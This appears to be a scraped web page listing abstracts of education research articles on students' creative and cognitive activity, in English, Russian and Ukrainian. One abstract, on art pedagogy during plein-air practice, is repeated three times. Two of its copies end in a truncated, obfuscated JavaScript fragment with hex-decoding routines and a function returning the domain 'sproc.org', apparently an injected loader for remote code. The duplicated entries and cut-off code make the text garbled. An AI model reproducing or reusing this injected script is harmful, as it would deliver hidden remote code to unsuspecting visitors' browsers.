Creative Activity Of Students Research Articles

Audiovisual aids application in the secondary-level vocational education establishments

PurposeThe purpose of this paper is to analyze how the audiovisual teaching aids are applied in the modern educational environment and to assess their application efficiency in the context of the secondary-level vocational education establishments.Design/methodology/approachA pedagogical experiment was conducted to confirm this hypothesis. At the preparatory stage, the authors have analyzed the teaching and learning process, as well as students learning at the secondary-level vocational education establishment. Statistical sample was 300 people.FindingsBased on the research results, main mistakes made while applying the audiovisual teaching aids were identified, formulated and investigated. These mistakes were related to the insufficient methodological preparation. As these mistakes were eliminated, student achievements and learning skills have increased by 15–20 percent (experiment data). The average marks, obtained by students before and after eliminating the methodological mistakes, were taken in points (from 2 to 5) as achievement and learning skill criteria. Research conclusion is that audiovisual aids application quality can be improved only through the research on students’ educational and creative potential, their perception of various learning materials, and their preferences in the information structure, composition, types and forms.Originality/valueApplying audiovisual teaching aids in the learning process is a challenge. This paper is driven by the need of new unique methods for applying audiovisual aids related to identifying the optimal temporal lesson structure, as well as the composition and the amount of auxiliary teaching materials, interactive communication level and ways to stimulate the emotional and creative activity of students.

The implementation of test control methods for the improvement of the quality content of high education in medical higher educational institution

The integration of Ukrainian system of Higher education into the European one accompanies by a transformation processes. The main goal of Higher school in our country is to prepare competitive specialists. The pedagogues of medical universities implement modern educational technologies with the use of analytically-searching work and scientific information. The implementation of new technologies of teaching is the important task of modernization of pedagogical system of mastering highly skilled specialists. The aim — to ground the implementation of test control for the estimation of quality of knowledge of future doctors. Gaining knowledge in microbiology is very necessary for future doctors to understand the principals of diagnostics and struggling infectious diseases. Knowledge in microbiology is basis for better understanding of clinical disciplines, as it assists logical perception of clinical data, influences on the forming clinical thought without which it is impossible to become a highly skilled specialist. The implementation of modern methods of studies, control, providing the increase of creative activity of students, forming and developing in them professional thought is one of the effective way of the improvement of quality of pedagogical training of highly skilled doctors. The experience of applying of the test control of knowledge in students in the medical university at classes of Microbiology, Virology and Immunology has been presented in the manuscript. The use of different types of test control has been proved to be one of the effective methods for determining the level of knowledge among students. Test control promotes the activation of cognitive activity, forms students’ skills of independent work, develops their logical thinking. Test control of obtained knowledge should be used in conjunction with other methods of studying the subject. The analysis of the results of the writing of the KROK-1 qualification exam by the students of the stomatological department has been conducted. The use of different methods of estimation of control of knowledge is necessary for its improvement. The study of microbiology is the important base of forming fundamental knowledge in students. Therefore, test control in a complex with other pedagogical methods can be used as one of the important and optimal methods to improve estimation of the basic level of students’ knowledge.

Активизация познавательной деятельности обучающихся средствами информационной образовательной среды

The article substantiates the necessity and expediency of using the resources of the information and educational environment for activating the cognitive activity of students in the university. The theoretical description of the essence of activation of cognitive activity is given, the sequence of formation of cognitive interest in the learner is presented, the requirements to the activation of the educational process in higher education are systematized. The criteria for the selection of resources and means of the information and educational environment, which are appropriate to use for the preparation of future teachers of vocational training, are proposed. Specific types of resources of the information and educational environment that can be effectively used at the stages of formation of the reproducing, interpreting and creative activity of students are presented and disclosed. The results of experimental work on the use of resources and means of the information and educational environment for activating cognitive activity in the direction of training are described. 43.03.04 Vocational training (by branches), the effectiveness of using such resources for improving the quality of vocational training of future teachers of vocational training is proved.

Cloud-oriented learning environment of secondary school

Research goals: to outline the state of secondary education to implement a cloud-oriented learning environment (COLE), establishing research objectives: to determine the readiness of students to the introduction of COLE, to develop a conceptual framework of cooperation in COLE at the level of the institution, identify the actors interact COLE.The object of research supports the learning environment secondary schools; subject – a cloud-oriented learning environment of secondary schools.Research methods used: analysis of statistics and publications.Experimental research and conducted in secondary schools Obolon district of Kyiv. Intermediate results: the architecture of COLE 44 secondary schools of the district, introduced more than 10 thousand accounts established electronic interaction between teachers and students by e-mail Outlook. Currently under development cloud storage (SkyDrive) training materials teachers practiced the skills of teamwork and planning tools calendars.The main conclusions and recommendations. Implementation of COLE at secondary schools provides endless opportunities both teacher and student, in fact created conditions for innovation and learning. Without a doubt we can say that for the future of Honshu, for full use must have a quality Internet, motivated teachers. For subjects of the educational process, the conditions of access to learning materials anywhere, anytime, and it activates the cognitive and creative activity of students that will improve key indicators of learning.

Моделирование деятельности учителя при проектировании творческой деятельности учащихся

Моделирование деятельности учителя при проектировании творческой деятельности учащихся

FEATURES OF PREPARING FOR FUTURE CURRICULUM VETERINARY EDUCATION INSTITUTIONS TO CONTENTS BY ORIENTATION ON THE CULTURE OF SELF-EMPLOYMENT OF EDUCATIONAL PROFESSIONAL SUBJECTS

Features of preparation of future educators of pre-school establishments to the creative work with an orientation of culture of self-expression of the subjects in the educational process. The article substantiates the urgency, the modern approach to the formation of the culture of self-expression as a personal phenomenon, the indicator of their personal and professional growth of future educators of pre-school establishments. The content, the structure of the concepts of "self expression", "individual culture", "culture of self-expression", "self-organized activity" and other is specified; criteria and indicators of the formation of the culture of self-expression in the artistic and creative activity of students are determined, typology is also developed. In particular, based on data of specialists and author's theoretical and experimental research, the main aspects of the diagnostics of the formation of the culture of expression of student youth are highlighted. The organizational-pedagogical conditions of optimization of the process of forming the culture of self-expression of future specialists in pre-school education are proposed.

ISSUES OF TOXICOLOGY IN THE UNDERGRADUATE TRAINING OF PHARMACEUTICAL PROFILE SPECIALISTS

The need for basic training in toxicology of students of pharmaceutical universities and departments of toxicology is justified. The experience of teaching toxicology and medical protection to students of the St. Petersburg State Chemical Pharmaceutical Academy was analyzed. Academic teaching staff were trained in the methodology of teaching toxicology, and a participated in the preparation of the all-Russian textbook «Toxicology and Medical Protection» (2016) and three tutorials for students of medical and pharmaceutical universities. It is shown that in accordance with the current Federal State Educational Standard of the third generation, toxicology issues are included in the curriculum of a complex discipline «Life Safety. Emergency Medicine» as a stand-alone module. Students study toxicology in the fifth year having received a good basic training in medical, biological, and professional disciplines in previous years. For realization of cognitive and creative activity of students in the educational process, modern educational technologies are used which make it possible to improve the quality of teaching and to use school time more efficiently. The potential of using algorithmic workbooks, interactive forms of training, test control, case-method for facilitating the perception of theoretical knowledge and improving the quality of practical skills development is demonstrated. Results of the anonymous questionnaire survey, in which 153 of 198 students who studied toxicology and medical protection in the autumn semester of the 2017/2018 academic year participated, are reported. It was shown that more than 80% of the students surveyed are convinced of the need to study toxicology during the undergraduate training of specialists of pharmaceutical profile and positively assessed the methodology of teaching toxicology that is performed at the St. Petersburg State Chemical Pharmaceutical Academy.

Категории «национальная идентичность» и «патриотизм» в современном образовательном пространстве

<p>Статья посвящена комплексному анализу социальных и педагогических проблем, связанных с категориями «национальная идентичность» и «патриотизм». Особо отмечается, что в условиях внешнеполитического давления, в российском обществе сформирован совершенно ясный запрос на утверждение в сознании и чувствах граждан социально значимых патриотических взглядов и убеждений, на развитие национального самосознания и гражданской идентичности. Система российского образования — та среда, в которой непосредственно идет формирование гражданских качеств личности. Однако можно констатировать, что здесь все еще отсутствует комплексный и сбалансированный подход к решению задач патриотического воспитания.</p><p>Так, в статье обосновывается идея о том, что в современных условиях общего и профессионального образования благодаря использованию инновационных технологий (методов, приемов) и интерактивных форм организации учебного и воспитательного процесса могут быть созданы условия по систематическому и целенаправленному формированию у подрастающего поколения граждан России нравственно-патриотических качеств, что будет способствовать развитию национального самосознания и преодолению кризиса национальной идентичности.</p><p>В процессе аналитической работы над различными источниками обучающиеся в результате коллаборации и коллективной интеракции способны обнаружить расплывчатость формулировок определений понятий «национальная идентичность», «национальное самосознание», «патриотизм». Более того, критически осмысливая принципы конструктивистского, инструменталистского и примордиалистского подходов, могут заметить «уязвимые» положения инструментализма и примордиализма. В рамках же конструктивистской парадигмы отмечается, что конструирование национальной идентичности внутри государства осуществляется путем объединения разных индивидов в гражданскую нацию путем построения над-конфессиональной и над-этнической идентичности, которая основывается на патриотизме.</p><p>В процессе реализации системно-деятельностного подхода, предполагающего последовательный переход от мотивационно-целевого к процессуальному, а затем к рефлексивно-оценочному этапу, активизируется не только исследовательская и творческая деятельность обучающихся, но и формируется чувство взаимопомощи, что чрезвычайно важно при формировании патриотических качеств и национальной идентичности.</p><p>Инновационные технологии и интерактивные формы и методы реализации системно-деятельностного подхода позволяют не только эффективно организовать взаимодействие участников образовательного и воспитательного процесса, но и направить этот процесс на формирование социально значимых качеств, таких как патриотизм, национальное самосознание, национальная идентичность.</p>

Специфіка форм організації художньо-творчої діяльності студентського аматорського хорового колект

The specifics of the forms of organization of artistic and creative activity of students’ choir are considered. This question is an important component in the aspect of the tutoring of the amateurs’ choir of students. An analysis of theoretical scientific sources on the investigated problem is carried out.

Інноваційна сутність видів і форм діяльності на уроках музики в початковій школі

The issue of improvement of the system of elementary music education is considered in the article. The research has established that modernization of education is the process and result of incorporation of progressive changes defined by the modern requirements for the young pupils’ musical education level. Use of innovative technologies on the way of formation of a new state modern artistic education contributes to the purposeful synthesis of teaching methods, opens up new opportunities for methodical variability inhe organization of a person-oriented educational process. Hence, general artisticeducation directs the actions of teachers to the versatile personal development of students, the application of such educational technologies that take full account of the significance of all factors of socio-pedagogical influence and provide opportunities for children to realize their musical activity. Innovative organization of cognitive and practical musical activity of students in the system of a person-oriented approach can be carried out by using non-standard forms of learning (dialogue, discussion, compilation of "vocabulary of feelings of musical works"; methods (interactive, game, problem-search, auditorium transmission, visual demonstration; methods of polymodal presentation of aesthetic information (plastic modeling, visual stimulation), reflexive techniques – ranking, emotional hearing and independent exercise artistic and creative projects. As the main objective of using innovative technologies in music lessons, one can consider activating cognitive and creative activity of students. This is facilitated by the use of interactive and information technologies in music art lessons The lesson of musical art should be characterized by the maximum support of the smallest attempts of creative self-expressing students, both in the performance of tasks on the elementary creation of musical samples or improvisation, and in the development of executive-interpretation skills.An important task of innovative forms and activities should be taking into account the features of rehearsal preparation and concert performances. At this stage creative expression of children should take place.

Педагогические условия развития творческой активности студентов в вузе

Педагогические условия развития творческой активности студентов в вузе

Основные тенденции и подходы современного образования

An article is devoted to effective use in the educational process of active and interactive teaching methods to enhance and develop cognitive and creative activity of students; improve the efficiency of the educational process; formation and assessment of professional competence, as well as the formation of special knowledge and practical skills of teachers and organizers of the learning process.

ON IMPROVING THE QUALITY OF VOCATIONAL AND TECHNOLOGICAL TRAINING OF FUTURE TEACHERS OF TECHNOLOGY

The article is devoted to improving the content of vocational and technological and methodical preparation of the future teachers of technology. The author tells the technology training of students of electro- physical and electrochemical methods of processing of construction materials, which utilizes the integration of natural sciences, engineering and technological disciplines, developed using the existing set of teaching and laboratory facilities. Settings allow students to study the complex physical processes experimental study of the problem. The paper also shows a feature of the organization of a laboratory practical work in the form of educational and research work of students, to teach them to perform the volume of independent work using scientific methods of theoretical and experimental studies. The role of these methods is important for the development of creative thinking of students, forming engineering design knowledge and skills, as well as the skills of independent research, which provides, in turn, higher cognitive and creative activity of students. The author presents the results of his pedagogical experiment. Thus, the introduction in the educational process UIRS going involvement of students in research work, which becomes an important part in the preparation of research methodology equips their scientific and technical thinking, develops an interest in creativity, it helps provide them with in-depth knowledge, and the ability to apply them in practice. The research work of students includes research activities not only in the educational process, but also to participate in the circles of the department in the scientific work of the laboratory.

Design artpedagogy in the system of modern education of pedagogy students during plain-air practice

The article reviews systematization and elaboration of artpedagogical nature of the “professional and creative activity of future visual arts teachers” concept together with its “performance”, “creativity” and “activity” categories, and the opportunities that plain-air practice provides to a teacher’s professional growth. The author has identified and substantiated the additional reserves of students’ creative activity intensification during plain-air practice; the author has also reviewed pedagogical conditions facilitating the intensification of professional and creative activity of students during plain-air practice. The article reviews a breakthrough approach to plain-air practice process aimed at the intensification of creative activity of students. The author has developed theoretical principles for the intensification of professional and creative activity of students during plain-air practice, including specific components, criteria and metrics. In general, the use of modern pedagogical techniques in artpedagogical education ensures proactive attitude of future specialists preparing for the upcoming professional activity. It improves the students’ understanding of the importance of their future profession, their motivation for achievement of better results in their professional and creative activity. Keywords: Artpedagogy, proactiveness, creativity, activity, plain-air practice, integration, imaginative cognition specificity. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o

Design artpedagogy in the system of modern education of pedagogy students during plain-air practice

The article reviews systematization and elaboration of artpedagogical nature of the “professional and creative activity of future visual arts teachers” concept together with its “performance”, “creativity” and “activity” categories, and the opportunities that plain-air practice provides to a teacher’s professional growth. The author has identified and substantiated the additional reserves of students’ creative activity intensification during plain-air practice; the author has also reviewed pedagogical conditions facilitating the intensification of professional and creative activity of students during plain-air practice.The article reviews a breakthrough approach to plain-air practice process aimed at the intensification of creative activity of students. The author has developed theoretical principles for the intensification of professional and creative activity of students during plain-air practice, including specific components, criteria and metrics. In general, the use of modern pedagogical techniques in artpedagogical education ensures proactive attitude of future specialists preparing for the upcoming professional activity. It improves the students’ understanding of the importance of their future profession, their motivation for achievement of better results in their professional and creative activity.Keywords: Artpedagogy, proactiveness, creativity, activity, plain-air practice, integration, imaginative cognition specificity.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "sproc.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Design artpedagogy in the system of modern education of pedagogy students during plain-air practice

The article reviews systematization and elaboration of artpedagogical nature of the “professional and creative activity of future visual arts teachers” concept together with its “performance”, “creativity” and “activity” categories, and the opportunities that plain-air practice provides to a teacher’s professional growth. The author has identified and substantiated the additional reserves of students’ creative activity intensification during plain-air practice; the author has also reviewed pedagogical conditions facilitating the intensification of professional and creative activity of students during plain-air practice.The article reviews a breakthrough approach to plain-air practice process aimed at the intensification of creative activity of students. The author has developed theoretical principles for the intensification of professional and creative activity of students during plain-air practice, including specific components, criteria and metrics. In general, the use of modern pedagogical techniques in artpedagogical education ensures proactive attitude of future specialists preparing for the upcoming professional activity. It improves the students’ understanding of the importance of their future profession, their motivation for achievement of better results in their professional and creative activity.
 Keywords: Artpedagogy, proactiveness, creativity, activity, plain-air practice, integration, imaginative cognition specificity.

PECULIARITIES OF CREATIVE ACTIVITY STUDENTS – OF POTENTIAL SUBJECTS OF ENTREPRENEURSHIP

The article is dedicated to the issue of studies and development of creative activity among students – in the future potential entrepreneurs. Requirements for modern specialist, in the field of economics and management and the most important traits of a successful entrepreneur have already been determined. In the group of students who study economics and management was found correlations: of motivational, productive, dynamic and emotional sides of the personality traits of ingenuity; individual strategies to achieve goals; signs of deficiency of time when solving professional tasks. High results of socially significant motivational-semantic manifestations. The imperfect functioning of the internal instrumentation and stylistic components of creative activity were obtained. There was also identified a possible problem – productivity of creative activity in conditions of the shortage of time in the implementation of organizational, economic and administrative problems. There is also presented substantial characteristics and practical recommendations for optimization and regulation of the creative activity of students – potential entrepreneurs.

Environmental determinants of cognitive development of students in the cultural creative environment of the university

There are analyzed environmental determinants of cognitive development of students in the cultural creative environment of the university determining the content of cognitive, creative abilities of future professionals, mental reconstruction of socio-cultural nature of the students. It is defined an essence of the environmental approach to mastery of cognitive styles and intellectual culture are defined. It is outlined the specifics of the intellectual and creative activity of students, providing a manifestation of their creative potential

Psycho-Pedagogical Conditions of Formation of Professional Creative Activity of Future Professionals

Organizational, psychological and pedagogical conditions (the position of student in the educational process, the inclusion of students in active and independent activities, the creation of a positive creative environment and psychological climate, the active use of the forms, methods, technologies, adequate formation of professional creative activity of students, features of individual creative development of students), a system of principles and pedagogical tools are the best support in the formation of professional and creative activity of the future experts in musical sphere (Malofeev & Shmatko, 2008).

Formation of the Creative Activity of Students on the Basis of Educational Experiment in Physics

Social and economic transformations occurring in Republic of Kazakhstan put forward new requirements to system of school education which consist of preparation learning youth for independent creative development of knowledge, formation of skills to investigate: design, project, and experiment in training-cognitive activity. In this connection the problem of formation creative activity of pupils, as well as role and place of educational experiment in pedagogical process of comprehensive school should be counted actual.